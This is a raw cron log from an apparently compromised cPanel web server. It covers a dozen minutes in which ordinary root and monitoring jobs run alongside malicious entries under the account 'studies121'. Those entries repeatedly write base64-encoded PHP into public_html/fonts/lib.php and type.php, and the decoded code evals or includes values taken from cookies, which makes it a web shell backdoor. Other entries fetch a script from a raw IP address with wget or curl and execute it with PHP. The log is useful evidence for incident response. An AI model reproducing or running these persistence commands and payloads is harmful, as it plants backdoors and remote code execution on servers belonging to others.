Sep  5 16:13:02 ip-184-168-122-23 CROND[16343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:13:02 ip-184-168-122-23 CROND[16346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:14:01 ip-184-168-122-23 CROND[16488]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:14:01 ip-184-168-122-23 CROND[16490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:14:01 ip-184-168-122-23 CROND[16491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:14:01 ip-184-168-122-23 CROND[16494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:14:01 ip-184-168-122-23 CROND[16496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:15:01 ip-184-168-122-23 CROND[16611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:15:01 ip-184-168-122-23 CROND[16615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:15:01 ip-184-168-122-23 CROND[16614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:15:01 ip-184-168-122-23 CROND[16613]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:15:01 ip-184-168-122-23 CROND[16617]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:15:01 ip-184-168-122-23 CROND[16620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:15:01 ip-184-168-122-23 CROND[16621]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 16:16:01 ip-184-168-122-23 CROND[16727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:16:01 ip-184-168-122-23 CROND[16729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:16:01 ip-184-168-122-23 CROND[16732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:16:01 ip-184-168-122-23 CROND[16733]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 16:16:01 ip-184-168-122-23 CROND[16730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:16:01 ip-184-168-122-23 CROND[16731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:17:01 ip-184-168-122-23 CROND[16820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:17:01 ip-184-168-122-23 CROND[16821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:17:01 ip-184-168-122-23 CROND[16822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:17:01 ip-184-168-122-23 CROND[16824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:18:01 ip-184-168-122-23 CROND[16903]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:18:01 ip-184-168-122-23 CROND[16906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:18:01 ip-184-168-122-23 CROND[16905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:18:01 ip-184-168-122-23 CROND[16907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:18:01 ip-184-168-122-23 CROND[16904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:19:01 ip-184-168-122-23 CROND[16988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:19:01 ip-184-168-122-23 CROND[16991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:19:01 ip-184-168-122-23 CROND[16989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:19:01 ip-184-168-122-23 CROND[16992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:20:02 ip-184-168-122-23 CROND[17087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:20:02 ip-184-168-122-23 CROND[17089]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 16:20:02 ip-184-168-122-23 CROND[17090]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:20:02 ip-184-168-122-23 CROND[17091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:20:02 ip-184-168-122-23 CROND[17094]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:20:02 ip-184-168-122-23 CROND[17095]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:20:02 ip-184-168-122-23 CROND[17093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:20:02 ip-184-168-122-23 CROND[17092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:20:02 ip-184-168-122-23 CROND[17099]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 16:21:01 ip-184-168-122-23 CROND[17193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:21:01 ip-184-168-122-23 CROND[17194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:21:01 ip-184-168-122-23 CROND[17196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:21:01 ip-184-168-122-23 CROND[17197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:22:01 ip-184-168-122-23 CROND[17285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:22:01 ip-184-168-122-23 CROND[17286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:22:01 ip-184-168-122-23 CROND[17287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:22:01 ip-184-168-122-23 CROND[17288]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:22:01 ip-184-168-122-23 CROND[17289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:23:01 ip-184-168-122-23 CROND[17462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:23:01 ip-184-168-122-23 CROND[17463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:23:01 ip-184-168-122-23 CROND[17464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:23:01 ip-184-168-122-23 CROND[17465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:24:01 ip-184-168-122-23 CROND[17569]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:24:01 ip-184-168-122-23 CROND[17571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:24:01 ip-184-168-122-23 CROND[17572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:24:01 ip-184-168-122-23 CROND[17573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:24:01 ip-184-168-122-23 CROND[17574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:25:02 ip-184-168-122-23 CROND[17672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:25:02 ip-184-168-122-23 CROND[17670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:25:02 ip-184-168-122-23 CROND[17674]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:25:02 ip-184-168-122-23 CROND[17673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:25:02 ip-184-168-122-23 CROND[17671]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
